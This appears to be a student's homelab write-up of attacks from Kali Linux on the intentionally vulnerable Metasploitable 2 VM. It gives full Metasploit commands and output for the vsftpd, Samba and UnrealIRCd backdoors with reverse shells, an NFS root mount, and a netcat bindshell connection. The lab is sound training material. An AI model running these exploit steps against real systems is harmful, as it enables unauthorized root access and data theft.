Kali Linux + Metasploitable Homelab Project

The objective of this project is to simulate a penetration testing environment and explore common exploitation methods.

Resources required for this lab:

- VMware Workstation 16 Pro (or any virtualization software)
- Kali Linux virtual machine
- Metasploitable 2 virtual machine

Topology:

Metasploitable

Metasploitable is an intentionally vulnerable machine made for the purpose of learning common penetration testing techniques, security training, and security tools.

Download Link: <https://sourceforge.net/projects/metasploitable/>

[illegible]

I will conduct my research on this machine's vulnerabilities and learn how to expose/attack them. In this document, I will also go over some of the exploitation tests that I performed on this machine.

Kali Linux

Kali Linux is an open-source Linux distribution developed by Offensive Security designed primarily for digital forensics and penetration testing.

Download Link:

<https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/>

This machine will take on the role of the attacker. Kali Linux is widely known for its large variety of penetration testing tools. I will be using this machine to attack Metasploitable's vulnerabilities.

Learning Objectives

What I aim to accomplish in this project is the knowledge of setting up an attacker-defender virtual security testing environment, as well as gain some valuable skills that will help me launch my career in the field of cybersecurity. To broaden my knowledge base and

expertise in the field, I will build projects, perform hands-on labs, as well as conduct research on various topics related to cybersecurity and computer networking.

Some specific learning objectives of this project are as follows:

1. Installation of Metasploitable and Kali Linux on VMware Workstation
2. Configuration of the 2 VMs to share a host-only network
3. Ensure that the 2 VMs can communicate with each other
4. Find 5 vulnerabilities
5. Learn 5 attacks/exploit techniques

Installation

The installation of the two VMs was the first item in my agenda. This step was pretty straightforward. In VMware:

File > New Virtual Machine...

This will start a popup wizard for installing a new virtual machine. This method is usually how you would install a new VM but in my case, I just had to open the .vmx file in my Metasploitable download folder.

Name	Date modified	Type	Size

 vmware-2.log	2021-04-17 1:05 AM	Text Document	145 KB

The same method applies to how I installed Kali Linux.

VM Settings

To maximize efficiency, I assigned ~8 GBs of memory to Kali Linux. This amount of RAM should be enough for most tasks that I will be performing.

The network adapter is set to host-only. This setting ensures that this VM shares an isolated network with Metasploitable.

Device	Summary
Memory	8.6 GB
Processors	4
Hard Disk (SCSI)	80 GB
CD/DVD (IDE)	Using file C:\Users\root\ Dow...
Network Adapter	Host-only
USB Controller	Present
Sound Card	Using device Speakers (2- U...
Display	Auto detect

Since I'm not going to perform most of my pentesting tasks directly on Metasploitable, I will leave the memory at 512 MB. The two network adapters are set to host-only, joining Kali Linux in an isolated network.

Device	Summary
Memory	512 MB
Processors	1
Hard Disk (SCSI)	8 GB
CD/DVD (IDE)	Auto detect
Network Adapter	Host-only
Network Adapter 2	Host-only
USB Controller	Present
Display	Auto detect

Information Gathering

nmap is the tool that I decided to use to footprint Metasploitable. To specify a target for nmap, we need Metasploitable's IP address, which we can find by running ifconfig on the VM:

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:41:a0:b7
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe41:a0b7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:760 errors:0 dropped:0 overruns:0 frame:0
          TX packets:112 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:117658 (114.9 KB)  TX bytes:10214 (9.9 KB)
          Interrupt:17 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:139 errors:0 dropped:0 overruns:0 frame:0
          TX packets:139 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:42153 (41.1 KB)  TX bytes:42153 (41.1 KB)

msfadmin@metasploitable:~$
```

The '**inet addr:**' field specifies the IP address of the machine, which is 192.168.1.40 in my case.

We can use this IP address to run an nmap scan:

```
nmap -v -A 192.168.1.40
```

The -v option makes sure that while nmap is scanning, it shows us a verbose output.

The -A option enables OS detection, version detection, script scanning, and traceroute.

The output will look similar to this:

```
53/tcp open  domain      ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
30/tcp open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)

3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
```

Exploiting FTP

The first vulnerability that I wanted to exploit was the File Transfer Protocol. FTP is a type of network protocol used to transfer files between systems on TCP ports 20/21.

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4

This output shows an open port that uses the FTP service. It also shows the version of the server (2.3.4).

We can use this information to search for an exploit on **Metasploit**, a hacker's go-to framework for pentesting. This framework stores a plethora of exploits and payloads that can be easily used to point to a target and execute.

To run Metasploit:

msfconsole

```

L$ msfconsole

+-----+
| METASPLOIT by Rapid7 |
+-----+
|                                     |
|  =c( (o( ( ) )                  |
|    \  /                          |
|     RECON                        |
|                                     |
|                                     |
|  o o o                          |
|    o o                          |
|  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |
|  PAYLOAD                        |
|  ( @ ) ( @ ) " " " " " " " " |
|  = = = = = = = = = = = = = = |
|                                     |
|                                     |
|  \ ' \ \ \ \ \ ' /              |
|    \  /                          |
|     LOOT                        |
|                                     |
|                                     |
+-----+

=[ metasploit v6.0.40-dev ]

Metasploit tip: Use help <command> to learn more
about any command

msf6 >

```

Now that we're in the Metasploit framework, we can search for an FTP exploit.

We need to specify the server and version -- vsftpd 2.3.4

To search for an exploit:

search vsftpd 2.3.4

```
msf6 > search vsftpd 2.3.4

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor

```
Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > █
```

This command will query all the matching modules from the database. As seen above, we found a backdoor for vsftpd that we can use to access Metasploitable remotely.

We can then use this exploit by typing:

use exploit/unix/ftp/vsftpd_234_backdoor

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

The next step would be to run **show options** to see what settings are available for this module.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.1.40    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -

Exploit target:

  Id  Name
  --  -
  0    Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

The RHOSTS can be set to the target's IP address, 192.168.1.40.

set RHOSTS 192.168.1.40

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
```

Now comes the fun part. At this point, we can run the exploit by typing **exploit**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.40:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.40:21 - USER: 331 Please specify the password.
[+] 192.168.1.40:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.40:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 → 192.168.1.40:6200) at 2021-04-22 23:48:16 -0400

id
uid=0(root) gid=0(root)
whoami
root
pwd
/
```

It is that simple to find an exploit and attack this machine. By executing this module, we have managed to access Metasploitable remotely from Kali Linux using the FTP vulnerability.

Exploiting NFS

A Network File System is a client/server application used for remote file sharing within a network. In this section, I will be exploiting NFS.

The basic overview of this section:

```
#exploit nfs:

showmount -e 192.168.1.40 ← show available NFS exports

mkdir /tmp/meta ← for storing the files

mount -t nfs 192.168.11:/home /tmp/meta ← '/home' based on showmount -e results, send files
to /tmp/meta
```

To show the NFS information of a server, we can use the command **showmount**

We need to specify the target and the option **-e** for showing the available folder exports.

We can then create a directory to store the folders and mount the NFS export specified by the **-t** option.

```
(root@kali)-[/]
# showmount -e 192.168.1.40
Export list for 192.168.1.40:
/ *

(root@kali)-[/]
# mkdir /tmp/meta

(root@kali)-[/]
# mount -t nfs 192.168.1.40:/ /tmp/meta

(root@kali)-[/]
# ls /tmp/meta
bin  cdrom  etc  initrd  lib  media  nohup.out  proc  sbin  sys  usr  vmlinuz
boot  dev  home  initrd.img  lost+found  mnt  opt  root  srv  tmp  var

(root@kali)-[/]
#
```

This output shows that we have successfully stolen all of the root directory's contents.

Exploiting Samba

Samba provides file and print services using the SMB/CIFS protocol. In this section, I will be exploiting Samba.

```
#exploit samba:
msfconsole
search samba
use exploit/multi/samba/usermap_script
show options
set RHOSTS 172.16.47.129
exploit
```

The output above displays the general overview of the commands used in this exploit. The execution is almost the exact same as the FTP exploit, however we will be using a different module.

The module used for this session is `exploit/multi/samba/usermap_script`

```
msf6 exploit(multi/samba/usermap_script) > set LHOST 172.16.47.128
LHOST => 172.16.47.128
msf6 exploit(multi/samba/usermap_script) > 
```

We also need to remember to set the LHOST to our address instead of the default value, which is a loopback address.

```

msf6 exploit(multi/samba/usermap_script) > set LHOST 172.16.47.128
LHOST => 172.16.47.128
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 172.16.47.128:4444
[*] Command shell session 1 opened (172.16.47.128:4444 -> 172.16.47.129:45282) at 2021-04-27 19:46:32 -0400

id
uid=0(root) gid=0(root)
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

```

This output displays my successful attempt to break into the VM using the Samba vulnerability exploit module.

Exploiting IRC

Internet Relay Chat (IRC) is a protocol that facilitates communication in the form of text.

In this section, I will be exploiting this protocol.

```

#exploit irc:
msfconsole

search irc

use exploit/unix/irc/unreal_ircd_3281_backdoor

show options

set RHOSTS 172.16.47.129

show payloads

set PAYLOAD payload/cmd/unix/reverse

show options

set LHOST 172.16.47.128 ← my ip

exploit

```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
```

Compatible Payloads					
#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/bind_perl		normal	No	Unix Command Shell, Bind TCP (via Perl)
1	payload/cmd/unix/bind_perl_ipv6		normal	No	Unix Command Shell, Bind TCP (via Perl) IPv6
2	payload/cmd/unix/bind_ruby		normal	No	Unix Command Shell, Bind TCP (via Ruby)
3	payload/cmd/unix/bind_ruby_ipv6		normal	No	Unix Command Shell, Bind TCP (via Ruby) IPv6
4	payload/cmd/unix/generic		normal	No	Unix Command, Generic Command Execution

7	payload/cmd/unix/reverse_perl		normal	No	Unix Command Shell, Reverse TCP (via Perl)
8	payload/cmd/unix/reverse_perl_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via perl)
9	payload/cmd/unix/reverse_ruby		normal	No	Unix Command Shell, Reverse TCP (via Ruby)
10	payload/cmd/unix/reverse_ruby_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Ruby)
11	payload/cmd/unix/reverse_ssl_double_telnet		normal	No	Unix Command Shell, Double Reverse TCP SSL (telnet)

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

In this session, we need to specify the payload to execute the exploit. In this case, the payload we'll be using is highlighted above.

We specify this payload by typing the following:

set PAYLOAD payload/cmd/unix/reverse

After selecting the payload, we also need to specify the RHOSTS, as usual, and the LHOST as our IP address.

```

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD payload/cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    172.16.47.129   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     6667            yes       The target port (TCP)

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  --      -
  LHOST     172.16.47.128   yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic Target

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 172.16.47.128
LHOST => 172.16.47.128
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 172.16.47.128:4444

id
uid=0(root) gid=0(root)

```

This output shows my successful attempt to use the IRC backdoor module to gain remote access to Metasploitable.

Exploiting Port 1524/TCP Bindshell

```
1524/tcp open  bindshell  Metasploitable root shell
```

Bindshell is a bash shell that is bound to port 1524/tcp. It has a listener running that can be used by an attacker to gain remote access.

To gain access to this machine, we will use Netcat:

nc -nv ip-address 1524

-nv - numeric-only IP addresses, no DNS, verbose

```
(ghost@kali)-[~]  
$ nc -nv 172.16.47.129 1524  
(UNKNOWN) [172.16.47.129] 1524 (ingreslock) open  
root@metasploitable:/#
```

By executing one command, we can gain remote access to any machine that has a bindshell port 1524/tcp.
